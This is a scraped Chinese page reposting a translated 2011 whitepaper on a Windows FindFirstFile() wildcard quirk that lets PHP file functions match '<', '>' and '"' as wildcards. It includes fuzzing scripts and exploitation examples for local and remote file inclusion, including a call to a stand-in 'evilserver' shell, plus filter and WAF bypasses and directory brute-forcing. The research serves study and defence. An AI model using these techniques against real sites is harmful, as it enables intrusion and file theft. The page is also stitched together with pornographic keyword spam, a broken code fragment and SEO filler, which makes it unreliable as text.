http://code.google.com/p/pasc2at/wiki/SimplifiedChinese
<&#63;phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents( " /> 国产高清精品二区,人交獸av完整版在线观看,一区二区三区精品久久久

色尼玛亚洲综合影院,亚洲3atv精品一区二区三区,麻豆freexxxx性91精品,欧美在线91

windows的文件系統(tǒng)機(jī)制引發(fā)的PHP路徑爆破問(wèn)題分析

1.開場(chǎng)白

此次所披露的是以下網(wǎng)頁(yè)中提出的問(wèn)題所取得的測(cè)試結(jié)果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($i) . "/r/n";}?>

已知1.php存在,以上腳本訪問(wèn)的結(jié)果是:

1.php1.php1.ph<1.ph>

都能得到返回。
前兩種能返回結(jié)果是總所周知的(因?yàn)閣indows的文件系統(tǒng)支持大小的互轉(zhuǎn)的機(jī)制),另外的兩種返回引起了我們的注意。
測(cè)試php版本:php4.9,php5.2,php5.3,php6.0
測(cè)試系統(tǒng):WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
經(jīng)測(cè)試我們得出的結(jié)論是:該漏洞影響所有的windows+php版本 

2.深入探查模糊測(cè)試的結(jié)果

為了繼續(xù)深入探查關(guān)于該bug的信息,我們對(duì)demo做了些許修改:

<?phpfor ($j=0; $i<256; $j++) {for ($i=0; $i<256; $i++) {$url = '1.p' . chr($j) . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($j) . chr($i) . "/r/n";}}?>

在調(diào)試php解釋器的過(guò)程中,我們將此“神奇”的漏洞歸結(jié)為一個(gè)Winapi 函數(shù)FindFirstFile()所產(chǎn)生的結(jié)果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).ASPx).更好玩的是,當(dāng)跟蹤函數(shù)調(diào)用棧的過(guò)程中我們發(fā)現(xiàn)字符”>”被替換成”?”,字符”<”被替換成”*”,而符號(hào)”(雙引號(hào))被替換成一個(gè)”.”字符。這在2007年msdn公開的文檔中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.ASPx?id=3
但是此bug至今未被任何windows旗下所發(fā)行的任何版本修復(fù)!
我們要闡明的是,該函數(shù)FindFirstFile()在php下的運(yùn)用遠(yuǎn)遠(yuǎn)不至于file_get_contents().關(guān)于該bug可以利用的函數(shù)我們已經(jīng)列了如下一表:


 
此外,我們還發(fā)現(xiàn)該利用也可以被運(yùn)用到c++中,以下采用來(lái)自msdn的例子:

#include <windows.h>#include <tchar.h>#include <stdio.h>void _tmain(int argc, TCHAR *argv[]){WIN32_FIND_DATA FindFileData;HANDLE hFind;if( argc != 2 ){_tprintf(TEXT("Usage: %s [target_file]/n"), argv[0]);return;}_tprintf (TEXT("Target file is %s/n"), argv[1]);hFind = FindFirstFile(argv[1], &FindFileData);if (hFind == INVALID_HANDLE_VALUE){printf ("FindFirstFile failed (%d)/n", GetLastError());return;}else{_tprintf (TEXT("The first file found is %s/n"),FindFileData.cFileName);FindClose(hFind);}}

當(dāng)傳入?yún)?shù)”c:/bo<”時(shí),成功訪問(wèn)到boot.ini文件。

3.利用方法總結(jié)

當(dāng)調(diào)用FindFirstFile()函數(shù)時(shí),”<”被替換成”*”,這意味該規(guī)則可以使”<”替換多個(gè)任意字符,但是測(cè)試中發(fā)現(xiàn)并不是所有情況都如我們所愿。所以,為了確保能夠使”<”被替換成”*”,應(yīng)當(dāng)采用”<<”
EXAMPLE:include(‘shell<');  或者include(‘shell<<');    //當(dāng)文件夾中超過(guò)一個(gè)以shell打頭的文件時(shí),該執(zhí)行取按字母表排序后的第一個(gè)文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時(shí),”>”被替換成”?”,這意味這”>”可以替換單個(gè)任意字符
EXAMPLE:include(‘shell.p>p');    //當(dāng)文件中超過(guò)一個(gè)以shell.p?p 通配時(shí),該執(zhí)行取按字母表排序后的第一個(gè)文件。
當(dāng)調(diào)用FindFirstFile()函數(shù)時(shí),”””(雙引號(hào))被替換成”.”
EXAMPLE:include(‘shell”php');    //===>include(‘shell.php');
如果文件名第一個(gè)字符是”.”的話,讀取時(shí)可以忽略之
EXAMPLE:fopen(‘.htacess');  //==>fopen(‘htacess');   //加上第一點(diǎn)中的利用 ==>fopen(‘h<<');
文件名末尾可以加上一系列的/或者/的合集,你也可以在/或者/中間加上.字符,只要確保最后一位為”.”
EXAMPLE:fopen(“config.ini//.// //////.”);==>  fopen(‘config.ini/././.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..')   //譯者注:此處的利用我不是很理解,有何作用?截?cái)啵?br />該函數(shù)也可以調(diào)用以”//”打頭的網(wǎng)絡(luò)共享文件,當(dāng)然這會(huì)耗費(fèi)不短的時(shí)間。補(bǔ)充一點(diǎn),如果共享名不存在時(shí),該文件操作將會(huì)額外耗費(fèi)4秒鐘的時(shí)間,并可能觸發(fā)時(shí)間響應(yīng)機(jī)制以及max_execution_time拋錯(cuò)。所幸的是,該利用可以用來(lái)繞過(guò)allow_url_fopen=Off 并最終導(dǎo)致一個(gè)RFI(遠(yuǎn)程文件包含)
EXAMPLE:include (‘//evilserver/shell.php');
用以下方法還可以切換文件的盤名
include(‘//./C:/my/file.php/../../../D:/anotherfile.php');
選擇磁盤命名語(yǔ)法可以用來(lái)繞過(guò)斜線字符過(guò)濾
file_get_contents(‘C:boot.ini'); //==>  file_get_contents (‘C:/boot.ini');
php的命令行環(huán)境下(php.exe),關(guān)于系統(tǒng)保留名文件的利用細(xì)節(jié)
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此舉將會(huì)無(wú)休無(wú)止地從CON設(shè)備讀取0字節(jié),直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07));  //此舉將會(huì)不斷地使服務(wù)器發(fā)出類似嗶嗶的聲音

4.更深入的利用方法

除了以上已經(jīng)展示的方法,你可以用下面的姿勢(shì)來(lái)繞過(guò)WAF或者文件名過(guò)濾
請(qǐng)思考該例:

<?phpfile_get_contents("/images/".$_GET['a'].".jpg");//or another function from Table 1, i.e. include().?>

訪問(wèn)test.php?a=../a<%00
可能出現(xiàn)兩種結(jié)果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一種情況,說(shuō)明不存在a打頭的文件,第二種則存在。
 
此外,有記錄顯示,有時(shí)網(wǎng)站會(huì)拋出如下錯(cuò)誤:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

這說(shuō)明該文件夾下存在一個(gè)以上以a打頭的文件(夾),并且第一個(gè)就是admin_h1d3。

5.結(jié)論
實(shí)驗(yàn)告訴我們,php本身沒(méi)有那么多的漏洞,我們所看到是:過(guò)分的依賴于另一種程序語(yǔ)言(注:如文中的漏洞產(chǎn)自與winapi的一個(gè)BUG),并且直接強(qiáng) 制使用,將會(huì)導(dǎo)致細(xì)微的錯(cuò)誤(bug),并最終造成危害(vul).這樣便拓寬了模糊測(cè)試的范疇(譯者注:并不僅僅去研究web層面,而深入到系統(tǒng)底層),并最終導(dǎo)致IDS,IPS的規(guī)則更新。誠(chéng)然,代碼需要保護(hù),需要補(bǔ)丁,需要升級(jí)與擴(kuò)充。但是,這并不是我們真正要去關(guān)注的問(wèn)題。在當(dāng)下,我認(rèn)為我們 更謹(jǐn)慎地去書寫更多更嚴(yán)厲的過(guò)濾規(guī)則,正如我們一直在做的一樣。任重道遠(yuǎn),精益求精。
因?yàn)檫@是基礎(chǔ)應(yīng)用層的問(wèn)題,所以我們猜想類似的問(wèn)題可能出現(xiàn)在其他web應(yīng)用中。于是我們還測(cè)試了mysql5,而實(shí)驗(yàn)結(jié)果表明,mysql5并不存在類似的漏洞。但是我們?nèi)哉J(rèn)為:類似的漏洞將會(huì)出現(xiàn)在諸如Perl、Python、Ruby等解釋性語(yǔ)言上。

6.Referer

php application source code audits advanced technology:http://code.google.com/p/pasc2at/wiki/SimplifiedChineseMSDN FindFirstFile Function reference:http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).ASPxMSDN comments history:http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).ASPx?id=3MSDN article «Naming Files, Paths, and Namespaces»:http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).ASPxTechNET article «Managing Files and Directories»:http://techNET.microsoft.com/en-us/library/cc722482.ASPxPaper «Technique of quick exploitation of 2blind SQL Injection»:http://www.exploit-db.com/papers/13696/

 ==================================================================
全文完。
注:該文是2011年底發(fā)表的一篇白皮書,至今該bug依然存在。我在幾個(gè)月前做CUIT的一個(gè)CTF時(shí)偶遇了一道該bug的利用,當(dāng)時(shí)便是看的此文,當(dāng)時(shí)只是粗粗讀了一下,寫了一個(gè)php的腳本去跑目錄。今回閑來(lái)無(wú)事,翻譯整理了一番。

php技術(shù)windows的文件系統(tǒng)機(jī)制引發(fā)的PHP路徑爆破問(wèn)題分析,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 岳池县| 新密市| 马关县| 杭锦旗| 岱山县| 连云港市| 盐津县| 泊头市| 桃源县| 邵阳县| 临湘市| 饶平县| 娄烦县| 文成县| 红桥区| 新平| 镇巴县| 洪湖市| 腾冲县| 上思县| 卓资县| 庆云县| 斗六市| 兴仁县| 南漳县| 康定县| 绥德县| 天水市| 老河口市| 阿城市| 崇明县| 繁峙县| 延川县| 黑山县| 黑河市| 五家渠市| 鹿邑县| 繁峙县| 蓝田县| 南江县| 溆浦县|